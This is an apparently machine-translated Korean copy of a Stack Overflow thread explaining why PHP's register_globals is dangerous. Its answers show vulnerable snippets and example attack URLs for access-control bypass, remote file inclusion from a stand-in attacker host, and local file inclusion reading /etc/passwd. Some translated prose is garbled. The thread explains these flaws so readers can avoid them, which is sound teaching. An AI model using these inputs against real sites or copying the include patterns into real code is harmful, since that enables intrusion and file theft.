문제

나는 PHP 개발자가 아니지만 사람들이 전염병이나 무언가처럼 취급하는 것처럼 보이는 몇 곳에서 보았습니다. 왜요?

도움이 되었습니까?

해결책

REGISTER_GLOBALS get 또는 post를 통해 전달되는 모든 변수는 스크립트의 글로벌 변수로 불가능하다는 것을 의미합니다. 노인 변수에 액세스하는 것은 PHP의 오류가 아니기 때문에 (경고 임) 매우 불쾌한 상황으로 이어질 수 있습니다. 예를 들어 이것을 고려하십시오.

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

그 자체로 나쁘지는 않습니다 (잘 엔지니어링 된 코드 필요 REGISTER_GLOBALS 같은 이유로))), 그러나 PHP 코드는 일반적으로 품질이 매우 낮으므로 이러한 종류의 보안 구멍으로 이어집니다.

다른 팁

register_globals를 활성화하면 PHP가 제공하는 웹 페이지가 취약점에 노출되어 일부 나쁜 사람들은 악용에 관심이 있습니다.

IT가 활성화 된 상태에서 URL의 끝에있는 모든 쿼리 문자열 :

http://yourdomain/something.php?valid=true 

Something.php에서 변수 $ 유효한 (예 :)의 값에 영향을 미칩니다. 존재한다면.

공개적으로 사용 가능한 PHP 코드 (예 : 라이브러리)를 사용하는 경우 변수 이름이 잘 알려져 있으며 해커가 쿼리 문자열에 값을 할당하여 값을 제어 할 수 있습니다. 인증을 우회 할 수 있습니다.

공공 코드를 사용하지 않더라도 중요한 변수의 이름을 추측하고 그 값을 제어 할 수 있습니다.

php.ini에서 register_globals를 활성화하는 것은 기본값이었습니다.

최근의 관행은 기본적으로이를 비활성화하는 것이 었습니다. 자신의 위험에 따라 활성화하십시오!

추가하기 위해 REGISTER_GLOBALS 활성화 된 하루를 망칠 수 있습니다.

쿼리 문자열을 사용하여 액세스 제어를 우회합니다 (해킹 사용 http://example.com/?logged=1):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

원격 파일 포함 (RFI) :

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

로컬 파일 포함 (LFI) :

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

사용자가 컨트롤없이 코드에 글로벌 변수를 주입 할 수 있기 때문입니다.

코드의 품질에 따라 주요 보안 버그를 소개 할 수 있습니다.

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top